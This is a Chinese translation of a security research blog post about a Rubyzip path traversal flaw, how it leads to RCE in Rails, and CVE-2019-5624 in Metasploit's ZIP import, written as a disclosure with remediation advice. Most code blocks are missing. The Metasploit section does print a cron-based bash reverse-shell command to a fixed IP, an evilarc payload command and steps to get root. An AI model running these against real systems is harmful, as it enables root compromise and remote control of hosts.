在某个项目中,我们有机会审计一个使用Rubyzip gem处理ZIP文件的Ruby-on-Rails(RoR)Web应用程序。ZIP文件一直是触发多种漏洞类型的有趣入口点,包括路径遍历和符号链接文件覆盖攻击。由于测试库禁用了符号链接处理,我们专注于路径遍历利用。
本文讨论我们的结果、在库本身发现的“bug”以及此问题在流行软件Metasploit中的影响。
Rubyzip和旧漏洞
Rubyzip gem有很长的路径遍历漏洞历史(1, 2),通过恶意文件名实现。特别有趣的是PR #376中的代码更改,开发人员实现了不同的处理方式。
|
|
Entry#name_safe在几行前定义为:
|
|
在上面的代码中,如果目标路径传递给Entry#extract函数,则实际上不会检查。该函数源代码中的注释强调了用户的责任:
# NB: The caller is responsible for making sure dest_path is safe, if it is passed.
虽然Entry#name_safe是对路径遍历(和绝对路径)的公平检查,但仅在函数无参数调用时执行。
为了验证库bug,我们使用旧(但仍然有效)的evilarc生成了ZIP PoC,并使用以下代码提取恶意文件:
|
|
|
|
结果在/tmp/file.txt创建了一个文件,确认了问题。
与我们的客户一样,大多数开发人员可能升级到Rubyzip 1.2.2,认为使用安全,而没有实际验证库的工作原理或其在代码库中的具体用法。
无论如何,它都会是脆弱的 ¯_(ツ)_/¯
在我们的Web应用程序上下文中,用户提供的zip通过以下(伪)代码解压缩:
|
|
在项目#0中,我们看到创建了一个Pathname对象,然后在项目#2中用作解压缩条目的目标路径。然而,对象和字符串之间的和运算符并不像许多开发人员预期的那样工作,可能导致意外行为。
我们可以在IRB shell中轻松理解其行为:
|
|
由于Pathname对../的解释,传递给Rubyzip的Entry#extract调用的参数不包含任何路径遍历payload,导致错误地认为“安全”路径。由于gem不执行任何验证,利用甚至不需要这种意外的路径连接。
从任意文件写入到RCE(RoR风格)
除了通常的*nix和Windows特定技术(如写入新cronjob或利用自定义脚本),我们有兴趣了解如何利用此bug在RoR应用程序上下文中实现RCE。
由于我们的目标在生产环境中运行,RoR类通过cache_classes指令在首次使用时缓存。在参与分配的时间内,我们没有找到一种可靠的方法通过文件写入在运行时加载/注入任意代码,而不需要RoR重启。
然而,我们在本地测试环境中验证了,将拒绝服务漏洞和Web应用程序根目录的完整路径披露链接在一起,可用于触发Web服务器重启,并通过上述zip处理漏洞实现RCE。
官方文档解释:
After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
使用此功能,具有适当权限的攻击者可以在/config/initializers文件夹中添加恶意.rb文件,该文件将在Web服务器(重新)启动时加载。
攻击攻击者。Metasploit认证RCE(CVE-2019-5624)
就在参与结束并获得客户批准后,我们开始寻找可能受Rubyzip bug影响的流行软件。
当我们集思广益潜在目标时,我们一台VM上的一个图标引起了我们的注意:Metasploit Framework
通过源代码,我们能够快速识别几个使用Rubyzip库创建ZIP文件的文件。由于我们的漏洞存在于extract函数中,我们回忆起从以前的MSF版本或不同实例导入ZIP工作区的选项。我们在zip.rb文件(第157行)中识别了负责导入Metasploit ZIP文件的相应代码路径:
|
|
与vanilla Rubyzip示例一样,创建包含路径遍历payload的ZIP文件并嵌入有效的MSF工作区(包含扫描导出信息的XML文件)使得获得可靠的文件写入原语成为可能。由于提取以root身份完成,我们可以使用以下步骤轻松获得高权限的远程命令执行:
- 创建具有以下内容的文件:
* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196" - 使用路径遍历payload生成ZIP存档:
python evilarc.py exploit --os unix -p etc/cron.d/ - 将有效的MSF工作区添加到ZIP文件(以便MSF提取它,否则它将拒绝处理ZIP存档)
- 设置两个侦听器,一个在端口4444,另一个在端口4445(端口4445上的那个将获得反向shell)
- 登录MSF Web界面
- 创建一个新“项目”
- 选择“导入”,“从文件”,选择邪恶ZIP文件,最后单击“导入”按钮
- 等待导入过程完成
- 享受您的反向shell
结论
如果您使用Rubyzip,请检查库用法并在调用Entry#extract之前对条目名称和目标路径执行额外验证。
以下是不同场景的小回顾(截至Rubyzip v1.2.2):
| 用法 | 用户输入? | 易受路径遍历? |
|---|---|---|
| entry.extract(path) | 是(路径) | 是 |
| entry.extract(path) | 部分(路径连接) | 可能 |
| entry.extract() | 部分(条目名称) | 否 |
| entry.extract() | 否 | 否 |
如果您使用Metasploit,是时候修补了。我们期待看到CVE-2019-5624的msf模块。
信用和参考
研究和bug的信用归@voidsec和@polict。
这项工作是在客户参与和Doyensec 25%研究时间期间进行的。因此,我们要感谢我们的客户和Metasploit维护人员的支持。
如果您对此主题感兴趣,请查看以下资源:
- Rubyzip库
- Ruby on Rails指南
- 攻击Ruby on Rails应用程序
- 1997便携式BBS黑客(或当Zip Slip实际发明时)
- Evilarc博客文章(或2019年,这篇文章仍然相关)